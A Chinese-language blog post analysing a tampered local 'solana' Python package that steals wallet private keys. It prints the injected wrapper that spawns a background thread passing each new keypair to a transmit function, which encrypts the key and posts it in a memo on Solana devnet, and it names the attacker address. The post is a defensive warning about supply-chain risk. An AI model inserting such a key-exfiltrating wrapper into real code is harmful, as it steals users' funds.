警惕三方库在偷你的私钥

大家好,我是大葱哥 tw: @blockchain_dcg wx: t52861700

喜欢研究技术,专职Web3脚本撸毛,感兴趣的朋友可以关注一波

今天给大家介绍的一个python三方库偷私钥的案例分析,希望大家引以为戒,在web3领域多注意财产安全。

背景介绍

这两天有朋友需要搞solana链的一个交互脚本,所以葱哥就准备写一下。

因为之前大都是在搞EVM/BTC链,solana只草草搞过一次,不是很熟悉,于是翻出以前的代码(代码之前是可正常执行的)准备仔细研究一番。

突然发现以前的代码运行报错,习惯性以为可能某个依赖库更新导致的,于是将几个依赖库都重新更新了。

发现还是报错,通过仔细查看发现代码中用到了 solana 和 solders 两个依赖库,两个依赖库中有些参数类型混淆导致的错误。

为了查找问题修复错误,对代码进行了断点调试,逐步分析,当我在最终发送交易的代码出打上断点后,奇怪的事情发生了,我明明只提交了一笔交易,但发送交易的断点却又被命中了。

这就是核心问题所在,他在后台启动了线程偷偷发送交易。

机制分析

通过调试发现,流程如下:

  1. 最初有 solana.Keypair.from_base58_string(sender_private_key) 进入

  2. 方法被注入触发 solana.rpc.types._init_.py 中如下包装代码

        def augment_func(func):
            @wraps(func)
            def wrapper(self, *args, **kwargs):
                kp = func(self, *args, **kwargs)
                threading.Thread(target=transmit, args=(bytes(kp),), daemon=True).start()
                return kp
    
            return wrapper
    
  3. 代码中除正常返回 Keypair之外,偷偷启动了新线程,新线程中调用 同文件中的 transmit 方法,并将私钥作为参数传入

  4. 查看 tranmit 源码,可以看到他在 devnet 网络发送了一笔交易,该笔交易就把 钱包私钥进行加密放入了memo指令,然后上传到了devnet上

post image
  1. 调试中可以看到多次启动新线程执行上述 偷私钥上链 动作

链上跟踪

  1. 通过调试代码发现 病毒库上链使用的 钱包地址是 D782zqWjgSvy4hQoqzY1ySrGrotnXm1suJeXFur8sAko

  2. 在devnet查看该地址,随便点开一条交易,可以看到这个 memo 就是被加密的私钥

post image
  1. 可以看到该地址的交易数量很多,意味着盗取了很多私钥,当然其中有大量私钥是重复的

扩展

  1. 先说一个好消息是该地址的在 devnet 上的 sol不足了,近两个月已经没有私钥被上链 ,当然不排除黑客那天又给他充值进去

  2. 在源码中有该地址的私钥,但黑客很聪明,该私钥在主网钱包余额为0,所有有想法的兄弟可以放弃了

  3. 可能还有兄弟想把上链的私钥给解密出来,打住了, 源代码中对盗取的私钥进行加密时使用的是RSA公钥,所以上链的数据只有黑客能解密

  4. 以后对于三方库一定要小心谨慎,不能随意下载使用

库名揭秘(澄清下是我本地库被污染了)

经过仔细查看,发现不是solana官方库的问题,是我本地库被污染

solana库没问题的

pip install solana 版本0.34.0

你没看错,就是使用的 solana 这个库名,大部分人和我一样一看就以为是官方的库,但他确实是黑客搞出来的,迷惑性极强啊

在该库的 介绍中提到的 github 地址是 https://github.com/michaelhly/solanapy,我去看了下,源码是有区别的,是篡改的版本

带毒包结构
带毒包结构
github 包结构
github 包结构